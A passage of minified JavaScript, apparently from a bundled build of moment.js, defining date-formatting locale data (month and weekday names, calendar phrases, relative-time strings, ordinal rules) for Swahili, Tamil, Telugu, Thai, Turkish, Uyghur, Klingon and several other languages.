t=e%10;return e+(1==~~(e%100/10)?":e":1===t||2===t?":a":":e")},week:{dow:1,doy:4}})}(i(30381))},91172:function(e,t,i){!function(e){"use strict";e.defineLocale("sw",{months:"Januari_Februari_Machi_Aprili_Mei_Juni_Julai_Agosti_Septemba_Oktoba_Novemba_Desemba".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ago_Sep_Okt_Nov_Des".split("_"),weekdays:"Jumapili_Jumatatu_Jumanne_Jumatano_Alhamisi_Ijumaa_Jumamosi".split("_"),weekdaysShort:"Jpl_Jtat_Jnne_Jtan_Alh_Ijm_Jmos".split("_"),weekdaysMin:"J2_J3_J4_J5_Al_Ij_J1".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"hh:mm A",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[leo saa] LT",nextDay:"[kesho saa] LT",nextWeek:"[wiki ijayo] dddd [saat] LT",lastDay:"[jana] LT",lastWeek:"[wiki iliyopita] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s baadaye",past:"tokea %s",s:"hivi punde",ss:"sekunde %d",m:"dakika moja",mm:"dakika %d",h:"saa limoja",hh:"masaa %d",d:"siku moja",dd:"siku %d",M:"mwezi mmoja",MM:"miezi %d",y:"mwaka mmoja",yy:"miaka %d"},week:{dow:1,doy:7}})}(i(30381))},27333:function(e,t,i){!function(e){"use strict";var t={1:"௧",2:"௨",3:"௩",4:"௪",5:"௫",6:"௬",7:"௭",8:"௮",9:"௯",0:"௦"},i={"௧":"1","௨":"2","௩":"3","௪":"4","௫":"5","௬":"6","௭":"7","௮":"8","௯":"9","௦":"0"};e.defineLocale("ta",{months:"ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்".split("_"),monthsShort:"ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்".split("_"),weekdays:"ஞாயிற்றுக்கிழமை_திங்கட்கிழமை_செவ்வாய்கிழமை_புதன்கிழமை_வியாழக்கிழமை_வெள்ளிக்கிழமை_சனிக்கிழமை".split("_"),weekdaysShort:"ஞாயிறு_திங்கள்_செவ்வாய்_புதன்_வியாழன்_வெள்ளி_சனி".split("_"),weekdaysMin:"ஞா_தி_செ_பு_வி_வெ_ச".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, HH:mm",LLLL:"dddd, D MMMM YYYY, HH:mm"},calendar:{sameDay:"[இன்று] LT",nextDay:"[நாளை] LT",nextWeek:"dddd, LT",lastDay:"[நேற்று] LT",lastWeek:"[கடந்த வாரம்] dddd, LT",sameElse:"L"},relativeTime:{future:"%s இல்",past:"%s முன்",s:"ஒரு சில விநாடிகள்",ss:"%d விநாடிகள்",m:"ஒரு நிமிடம்",mm:"%d நிமிடங்கள்",h:"ஒரு மணி நேரம்",hh:"%d மணி நேரம்",d:"ஒரு நாள்",dd:"%d நாட்கள்",M:"ஒரு மாதம்",MM:"%d மாதங்கள்",y:"ஒரு வருடம்",yy:"%d ஆண்டுகள்"},dayOfMonthOrdinalParse:/\d{1,2}வது/,ordinal:function(e){return e+"வது"},preparse:function(e){return e.replace(/[௧௨௩௪௫௬௭௮௯௦]/g,(function(e){return i[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/யாமம்|வைகறை|காலை|நண்பகல்|எற்பாடு|மாலை/,meridiem:function(e,t,i){return e<2?" யாமம்":e<6?" வைகறை":e<10?" காலை":e<14?" நண்பகல்":e<18?" எற்பாடு":e<22?" மாலை":" யாமம்"},meridiemHour:function(e,t){return 12===e&&(e=0),"யாமம்"===t?e<2?e:e+12:"வைகறை"===t||"காலை"===t||"நண்பகல்"===t&&e>=10?e:e+12},week:{dow:0,doy:6}})}(i(30381))},23110:function(e,t,i){!function(e){"use strict";e.defineLocale("te",{months:"జనవరి_ఫిబ్రవరి_మార్చి_ఏప్రిల్_మే_జూన్_జులై_ఆగస్టు_సెప్టెంబర్_అక్టోబర్_నవంబర్_డిసెంబర్".split("_"),monthsShort:"జన._ఫిబ్ర._మార్చి_ఏప్రి._మే_జూన్_జులై_ఆగ._సెప్._అక్టో._నవ._డిసె.".split("_"),monthsParseExact:!0,weekdays:"ఆదివారం_సోమవారం_మంగళవారం_బుధవారం_గురువారం_శుక్రవారం_శనివారం".split("_"),weekdaysShort:"ఆది_సోమ_మంగళ_బుధ_గురు_శుక్ర_శని".split("_"),weekdaysMin:"ఆ_సో_మం_బు_గు_శు_శ".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[నేడు] LT",nextDay:"[రేపు] LT",nextWeek:"dddd, LT",lastDay:"[నిన్న] LT",lastWeek:"[గత] dddd, LT",sameElse:"L"},relativeTime:{future:"%s లో",past:"%s క్రితం",s:"కొన్ని క్షణాలు",ss:"%d సెకన్లు",m:"ఒక నిమిషం",mm:"%d నిమిషాలు",h:"ఒక గంట",hh:"%d గంటలు",d:"ఒక రోజు",dd:"%d రోజులు",M:"ఒక నెల",MM:"%d నెలలు",y:"ఒక సంవత్సరం",yy:"%d సంవత్సరాలు"},dayOfMonthOrdinalParse:/\d{1,2}వ/,ordinal:"%dవ",meridiemParse:/రాత్రి|ఉదయం|మధ్యాహ్నం|సాయంత్రం/,meridiemHour:function(e,t){return 12===e&&(e=0),"రాత్రి"===t?e<4?e:e+12:"ఉదయం"===t?e:"మధ్యాహ్నం"===t?e>=10?e:e+12:"సాయంత్రం"===t?e+12:void 0},meridiem:function(e,t,i){return e<4?"రాత్రి":e<10?"ఉదయం":e<17?"మధ్యాహ్నం":e<20?"సాయంత్రం":"రాత్రి"},week:{dow:0,doy:6}})}(i(30381))},52095:function(e,t,i){!function(e){"use strict";e.defineLocale("tet",{months:"Janeiru_Fevereiru_Marsu_Abril_Maiu_Juñu_Jullu_Agustu_Setembru_Outubru_Novembru_Dezembru".split("_"),monthsShort:"Jan_Fev_Mar_Abr_Mai_Jun_Jul_Ago_Set_Out_Nov_Dez".split("_"),weekdays:"Domingu_Segunda_Tersa_Kuarta_Kinta_Sesta_Sabadu".split("_"),weekdaysShort:"Dom_Seg_Ters_Kua_Kint_Sest_Sab".split("_"),weekdaysMin:"Do_Seg_Te_Ku_Ki_Ses_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Ohin iha] LT",nextDay:"[Aban iha] LT",nextWeek:"dddd [iha] LT",lastDay:"[Horiseik iha] LT",lastWeek:"dddd [semana kotuk] [iha] LT",sameElse:"L"},relativeTime:{future:"iha %s",past:"%s liuba",s:"segundu balun",ss:"segundu %d",m:"minutu ida",mm:"minutu %d",h:"oras ida",hh:"oras %d",d:"loron ida",dd:"loron %d",M:"fulan ida",MM:"fulan %d",y:"tinan ida",yy:"tinan %d"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(i(30381))},27321:function(e,t,i){!function(e){"use strict";var t={0:"-ум",1:"-ум",2:"-юм",3:"-юм",4:"-ум",5:"-ум",6:"-ум",7:"-ум",8:"-ум",9:"-ум",10:"-ум",12:"-ум",13:"-ум",20:"-ум",30:"-юм",40:"-ум",50:"-ум",60:"-ум",70:"-ум",80:"-ум",90:"-ум",100:"-ум"};e.defineLocale("tg",{months:{format:"январи_феврали_марти_апрели_майи_июни_июли_августи_сентябри_октябри_ноябри_декабри".split("_"),standalone:"январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр".split("_")},monthsShort:"янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек".split("_"),weekdays:"якшанбе_душанбе_сешанбе_чоршанбе_панҷшанбе_ҷумъа_шанбе".split("_"),weekdaysShort:"яшб_дшб_сшб_чшб_пшб_ҷум_шнб".split("_"),weekdaysMin:"яш_дш_сш_чш_пш_ҷм_шб".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Имрӯз соати] LT",nextDay:"[Фардо соати] LT",lastDay:"[Дирӯз соати] LT",nextWeek:"dddd[и] [ҳафтаи оянда соати] LT",lastWeek:"dddd[и] [ҳафтаи гузашта соати] LT",sameElse:"L"},relativeTime:{future:"баъди %s",past:"%s пеш",s:"якчанд сония",m:"як дақиқа",mm:"%d дақиқа",h:"як соат",hh:"%d соат",d:"як рӯз",dd:"%d рӯз",M:"як моҳ",MM:"%d моҳ",y:"як сол",yy:"%d сол"},meridiemParse:/шаб|субҳ|рӯз|бегоҳ/,meridiemHour:function(e,t){return 12===e&&(e=0),"шаб"===t?e<4?e:e+12:"субҳ"===t?e:"рӯз"===t?e>=11?e:e+12:"бегоҳ"===t?e+12:void 0},meridiem:function(e,t,i){return e<4?"шаб":e<11?"субҳ":e<16?"рӯз":e<19?"бегоҳ":"шаб"},dayOfMonthOrdinalParse:/\d{1,2}-(ум|юм)/,ordinal:function(e){return e+(t[e]||t[e%10]||t[e>=100?100:null])},week:{dow:1,doy:7}})}(i(30381))},9041:function(e,t,i){!function(e){"use strict";e.defineLocale("th",{months:"มกราคม_กุมภาพันธ์_มีนาคม_เมษายน_พฤษภาคม_มิถุนายน_กรกฎาคม_สิงหาคม_กันยายน_ตุลาคม_พฤศจิกายน_ธันวาคม".split("_"),monthsShort:"ม.ค._ก.พ._มี.ค._เม.ย._พ.ค._มิ.ย._ก.ค._ส.ค._ก.ย._ต.ค._พ.ย._ธ.ค.".split("_"),monthsParseExact:!0,weekdays:"อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัสบดี_ศุกร์_เสาร์".split("_"),weekdaysShort:"อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัส_ศุกร์_เสาร์".split("_"),weekdaysMin:"อา._จ._อ._พ._พฤ._ศ._ส.".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY เวลา H:mm",LLLL:"วันddddที่ D MMMM YYYY เวลา H:mm"},meridiemParse:/ก่อนเที่ยง|หลังเที่ยง/,isPM:function(e){return"หลังเที่ยง"===e},meridiem:function(e,t,i){return e<12?"ก่อนเที่ยง":"หลังเที่ยง"},calendar:{sameDay:"[วันนี้ เวลา] LT",nextDay:"[พรุ่งนี้ เวลา] LT",nextWeek:"dddd[หน้า เวลา] LT",lastDay:"[เมื่อวานนี้ เวลา] LT",lastWeek:"[วัน]dddd[ที่แล้ว เวลา] LT",sameElse:"L"},relativeTime:{future:"อีก %s",past:"%sที่แล้ว",s:"ไม่กี่วินาที",ss:"%d วินาที",m:"1 นาที",mm:"%d นาที",h:"1 ชั่วโมง",hh:"%d ชั่วโมง",d:"1 วัน",dd:"%d วัน",w:"1 สัปดาห์",ww:"%d สัปดาห์",M:"1 เดือน",MM:"%d เดือน",y:"1 ปี",yy:"%d ปี"}})}(i(30381))},19005:function(e,t,i){!function(e){"use strict";var t={1:"'inji",5:"'inji",8:"'inji",70:"'inji",80:"'inji",2:"'nji",7:"'nji",20:"'nji",50:"'nji",3:"'ünji",4:"'ünji",100:"'ünji",6:"'njy",9:"'unjy",10:"'unjy",30:"'unjy",60:"'ynjy",90:"'ynjy"};e.defineLocale("tk",{months:"Ýanwar_Fewral_Mart_Aprel_Maý_Iýun_Iýul_Awgust_Sentýabr_Oktýabr_Noýabr_Dekabr".split("_"),monthsShort:"Ýan_Few_Mar_Apr_Maý_Iýn_Iýl_Awg_Sen_Okt_Noý_Dek".split("_"),weekdays:"Ýekşenbe_Duşenbe_Sişenbe_Çarşenbe_Penşenbe_Anna_Şenbe".split("_"),weekdaysShort:"Ýek_Duş_Siş_Çar_Pen_Ann_Şen".split("_"),weekdaysMin:"Ýk_Dş_Sş_Çr_Pn_An_Şn".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün sagat] LT",nextDay:"[ertir sagat] LT",nextWeek:"[indiki] dddd [sagat] LT",lastDay:"[düýn] LT",lastWeek:"[geçen] dddd [sagat] LT",sameElse:"L"},relativeTime:{future:"%s soň",past:"%s öň",s:"birnäçe sekunt",m:"bir minut",mm:"%d minut",h:"bir sagat",hh:"%d sagat",d:"bir gün",dd:"%d gün",M:"bir aý",MM:"%d aý",y:"bir ýyl",yy:"%d ýyl"},ordinal:function(e,i){switch(i){case"d":case"D":case"Do":case"DD":return e;default:if(0===e)return e+"'unjy";var n=e%10;return e+(t[n]||t[e%100-n]||t[e>=100?100:null])}},week:{dow:1,doy:7}})}(i(30381))},75768:function(e,t,i){!function(e){"use strict";e.defineLocale("tl-ph",{months:"Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre".split("_"),monthsShort:"Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis".split("_"),weekdays:"Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado".split("_"),weekdaysShort:"Lin_Lun_Mar_Miy_Huw_Biy_Sab".split("_"),weekdaysMin:"Li_Lu_Ma_Mi_Hu_Bi_Sab".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"MM/D/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY HH:mm",LLLL:"dddd, MMMM DD, YYYY HH:mm"},calendar:{sameDay:"LT [ngayong araw]",nextDay:"[Bukas ng] LT",nextWeek:"LT [sa susunod na] dddd",lastDay:"LT [kahapon]",lastWeek:"LT [noong nakaraang] dddd",sameElse:"L"},relativeTime:{future:"sa loob ng %s",past:"%s ang nakalipas",s:"ilang segundo",ss:"%d segundo",m:"isang minuto",mm:"%d minuto",h:"isang oras",hh:"%d oras",d:"isang araw",dd:"%d araw",M:"isang buwan",MM:"%d buwan",y:"isang taon",yy:"%d taon"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}(i(30381))},89444:function(e,t,i){!function(e){"use strict";var t="pagh_wa’_cha’_wej_loS_vagh_jav_Soch_chorgh_Hut".split("_");function i(e,i,n,r){var s=function(e){var i=Math.floor(e%1e3/100),n=Math.floor(e%100/10),r=e%10,s="";return i>0&&(s+=t[i]+"vatlh"),n>0&&(s+=(""!==s?" ":"")+t[n]+"maH"),r>0&&(s+=(""!==s?" ":"")+t[r]),""===s?"pagh":s}(e);switch(n){case"ss":return s+" lup";case"mm":return s+" tup";case"hh":return s+" rep";case"dd":return s+" jaj";case"MM":return s+" jar";case"yy":return s+" DIS"}}e.defineLocale("tlh",{months:"tera’ jar wa’_tera’ jar cha’_tera’ jar wej_tera’ jar loS_tera’ jar vagh_tera’ jar jav_tera’ jar Soch_tera’ jar chorgh_tera’ jar Hut_tera’ jar wa’maH_tera’ jar wa’maH wa’_tera’ jar wa’maH cha’".split("_"),monthsShort:"jar wa’_jar cha’_jar wej_jar loS_jar vagh_jar jav_jar Soch_jar chorgh_jar Hut_jar wa’maH_jar wa’maH wa’_jar wa’maH cha’".split("_"),monthsParseExact:!0,weekdays:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),weekdaysShort:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),weekdaysMin:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[DaHjaj] LT",nextDay:"[wa’leS] LT",nextWeek:"LLL",lastDay:"[wa’Hu’] LT",lastWeek:"LLL",sameElse:"L"},relativeTime:{future:function(e){var t=e;return-1!==e.indexOf("jaj")?t.slice(0,-3)+"leS":-1!==e.indexOf("jar")?t.slice(0,-3)+"waQ":-1!==e.indexOf("DIS")?t.slice(0,-3)+"nem":t+" pIq"},past:function(e){var t=e;return-1!==e.indexOf("jaj")?t.slice(0,-3)+"Hu’":-1!==e.indexOf("jar")?t.slice(0,-3)+"wen":-1!==e.indexOf("DIS")?t.slice(0,-3)+"ben":t+" ret"},s:"puS lup",ss:i,m:"wa’ tup",mm:i,h:"wa’ rep",hh:i,d:"wa’ jaj",dd:i,M:"wa’ jar",MM:i,y:"wa’ DIS",yy:i},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},72397:function(e,t,i){!function(e){"use strict";var t={1:"'inci",5:"'inci",8:"'inci",70:"'inci",80:"'inci",2:"'nci",7:"'nci",20:"'nci",50:"'nci",3:"'üncü",4:"'üncü",100:"'üncü",6:"'ncı",9:"'uncu",10:"'uncu",30:"'uncu",60:"'ıncı",90:"'ıncı"};e.defineLocale("tr",{months:"Ocak_Şubat_Mart_Nisan_Mayıs_Haziran_Temmuz_Ağustos_Eylül_Ekim_Kasım_Aralık".split("_"),monthsShort:"Oca_Şub_Mar_Nis_May_Haz_Tem_Ağu_Eyl_Eki_Kas_Ara".split("_"),weekdays:"Pazar_Pazartesi_Salı_Çarşamba_Perşembe_Cuma_Cumartesi".split("_"),weekdaysShort:"Paz_Pzt_Sal_Çar_Per_Cum_Cmt".split("_"),weekdaysMin:"Pz_Pt_Sa_Ça_Pe_Cu_Ct".split("_"),meridiem:function(e,t,i){return e<12?i?"öö":"ÖÖ":i?"ös":"ÖS"},meridiemParse:/öö|ÖÖ|ös|ÖS/,isPM:function(e){return"ös"===e||"ÖS"===e},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün saat] LT",nextDay:"[yarın saat] LT",nextWeek:"[gelecek] dddd [saat] LT",lastDay:"[dün] LT",lastWeek:"[geçen] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s sonra",past:"%s önce",s:"birkaç saniye",ss:"%d saniye",m:"bir dakika",mm:"%d dakika",h:"bir saat",hh:"%d saat",d:"bir gün",dd:"%d gün",w:"bir hafta",ww:"%d hafta",M:"bir ay",MM:"%d ay",y:"bir yıl",yy:"%d yıl"},ordinal:function(e,i){switch(i){case"d":case"D":case"Do":case"DD":return e;default:if(0===e)return e+"'ıncı";var n=e%10;return e+(t[n]||t[e%100-n]||t[e>=100?100:null])}},week:{dow:1,doy:7}})}(i(30381))},28254:function(e,t,i){!function(e){"use strict";function t(e,t,i,n){var r={s:["viensas secunds","'iensas secunds"],ss:[e+" secunds",e+" secunds"],m:["'n míut","'iens míut"],mm:[e+" míuts",e+" míuts"],h:["'n þora","'iensa þora"],hh:[e+" þoras",e+" þoras"],d:["'n ziua","'iensa ziua"],dd:[e+" ziuas",e+" ziuas"],M:["'n mes","'iens mes"],MM:[e+" mesen",e+" mesen"],y:["'n ar","'iens ar"],yy:[e+" ars",e+" ars"]};return n||t?r[i][0]:r[i][1]}e.defineLocale("tzl",{months:"Januar_Fevraglh_Març_Avrïu_Mai_Gün_Julia_Guscht_Setemvar_Listopäts_Noemvar_Zecemvar".split("_"),monthsShort:"Jan_Fev_Mar_Avr_Mai_Gün_Jul_Gus_Set_Lis_Noe_Zec".split("_"),weekdays:"Súladi_Lúneçi_Maitzi_Márcuri_Xhúadi_Viénerçi_Sáturi".split("_"),weekdaysShort:"Súl_Lún_Mai_Már_Xhú_Vié_Sát".split("_"),weekdaysMin:"Sú_Lú_Ma_Má_Xh_Vi_Sá".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"D. MMMM [dallas] YYYY",LLL:"D. MMMM [dallas] YYYY HH.mm",LLLL:"dddd, [li] D. MMMM [dallas] YYYY HH.mm"},meridiemParse:/d\'o|d\'a/i,isPM:function(e){return"d'o"===e.toLowerCase()},meridiem:function(e,t,i){return e>11?i?"d'o":"D'O":i?"d'a":"D'A"},calendar:{sameDay:"[oxhi à] LT",nextDay:"[demà à] LT",nextWeek:"dddd [à] LT",lastDay:"[ieiri à] LT",lastWeek:"[sür el] dddd [lasteu à] LT",sameElse:"L"},relativeTime:{future:"osprei %s",past:"ja%s",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},30699:function(e,t,i){!function(e){"use strict";e.defineLocale("tzm-latn",{months:"innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir".split("_"),monthsShort:"innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir".split("_"),weekdays:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),weekdaysShort:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),weekdaysMin:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[asdkh g] LT",nextDay:"[aska g] LT",nextWeek:"dddd [g] LT",lastDay:"[assant g] LT",lastWeek:"dddd [g] LT",sameElse:"L"},relativeTime:{future:"dadkh s yan %s",past:"yan %s",s:"imik",ss:"%d imik",m:"minuḍ",mm:"%d minuḍ",h:"saɛa",hh:"%d tassaɛin",d:"ass",dd:"%d ossan",M:"ayowr",MM:"%d iyyirn",y:"asgas",yy:"%d isgasn"},week:{dow:6,doy:12}})}(i(30381))},51106:function(e,t,i){!function(e){"use strict";e.defineLocale("tzm",{months:"ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ".split("_"),monthsShort:"ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ".split("_"),weekdays:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),weekdaysShort:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),weekdaysMin:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[ⴰⵙⴷⵅ ⴴ] LT",nextDay:"[ⴰⵙⴽⴰ ⴴ] LT",nextWeek:"dddd [ⴴ] LT",lastDay:"[ⴰⵚⴰⵏⵜ ⴴ] LT",lastWeek:"dddd [ⴴ] LT",sameElse:"L"},relativeTime:{future:"ⴷⴰⴷⵅ ⵙ ⵢⴰⵏ %s",past:"ⵢⴰⵏ %s",s:"ⵉⵎⵉⴽ",ss:"%d ⵉⵎⵉⴽ",m:"ⵎⵉⵏⵓⴺ",mm:"%d ⵎⵉⵏⵓⴺ",h:"ⵙⴰⵄⴰ",hh:"%d ⵜⴰⵙⵙⴰⵄⵉⵏ",d:"ⴰⵙⵙ",dd:"%d oⵙⵙⴰⵏ",M:"ⴰⵢoⵓⵔ",MM:"%d ⵉⵢⵢⵉⵔⵏ",y:"ⴰⵙⴳⴰⵙ",yy:"%d ⵉⵙⴳⴰⵙⵏ"},week:{dow:6,doy:12}})}(i(30381))},9288:function(e,t,i){!function(e){"use strict";e.defineLocale("ug-cn",{months:"يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر".split("_"),monthsShort:"يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر".split("_"),weekdays:"يەكشەنبە_دۈشەنبە_سەيشەنبە_چارشەنبە_پەيشەنبە_جۈمە_شەنبە".split("_"),weekdaysShort:"يە_دۈ_سە_چا_پە_جۈ_شە".split("_"),weekdaysMin:"يە_دۈ_سە_چا_پە_جۈ_شە".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY-يىلىM-ئاينىڭD-كۈنى",LLL:"YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm",LLLL:"dddd، YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm"},meridiemParse:/يېرىم كېچە|سەھەر|چۈشتىن بۇرۇن|چۈش|چۈشتىن كېيىن|كەچ/,meridiemHour:function(e,t){return 12===e&&(e=0),"يېرىم كېچە"===t||"سەھەر"===t||"چۈشتىن بۇرۇن"===t?e:"چۈشتىن كېيىن"===t||"كەچ"===t?e+12:e>=11?e:e+12},meridiem:function(e,t,i){var n=100*e+t;return n<600?"يېرىم كېچە":n<900?"سەھەر":n<1130?"چۈشتىن بۇرۇن":n<1230?"چۈش":n<1800?"چۈشتىن كېيىن":"كەچ"},calendar:{sameDay:"[بۈگۈن سائەت] LT",nextDay:"[ئەتە سائەت] LT",nextWeek:"[كېلەركى] dddd [سائەت] LT",lastDay:"[تۆنۈگۈن] LT",lastWeek:"[ئالدىنقى] dddd [سائەت] LT",sameElse:"L"},relativeTime:{future:"%s كېيىن",past:"%s بۇرۇن",s:"نەچچە سېكونت",ss:"%d سېكونت",m:"بىر مىنۇت",mm:"%d مىنۇت",h:"بىر سائەت",hh:"%d سائەت",d:"بىر كۈن",dd:"%d كۈن",M:"بىر ئاي",MM:"%d ئاي",y:"بىر يىل",yy:"%d يىل"},dayOfMonthOrdinalParse:/\d{1,2}(-كۈنى|-ئاي|-ھەپتە)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"-كۈنى";case"w":case"W":return e+"-ھەپتە";default:return e}},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:1,doy:7}})}(i(30381))},67691:function(e,t,i){!function(e){"use strict";function t(e,t,i){return"m"===i?t?"хвилина":"хвилину":"h"===i?t?"година":"годину":e+" "+(n=+e,r={ss:t?"секунда_секунди_секунд":"секунду_секунди_секунд",mm:t?"хвилина_хвилини_хвилин":"хвилину_хвилини_хвилин",hh:t?"година_години_годин":"годину_години_годин",dd:"день_дні_днів",MM:"місяць_місяці_місяців",yy:"рік_роки_років"}[i].split("_"),n%10==1&&n%100!=11?r[0]:n%10>=2&&n%10<=4&&(n%100<10||n%100>=20)?r[1]:r[2]);var n,r}function i(e){return function(){return e+"о"+(11===this.hours()?"б":"")+"] 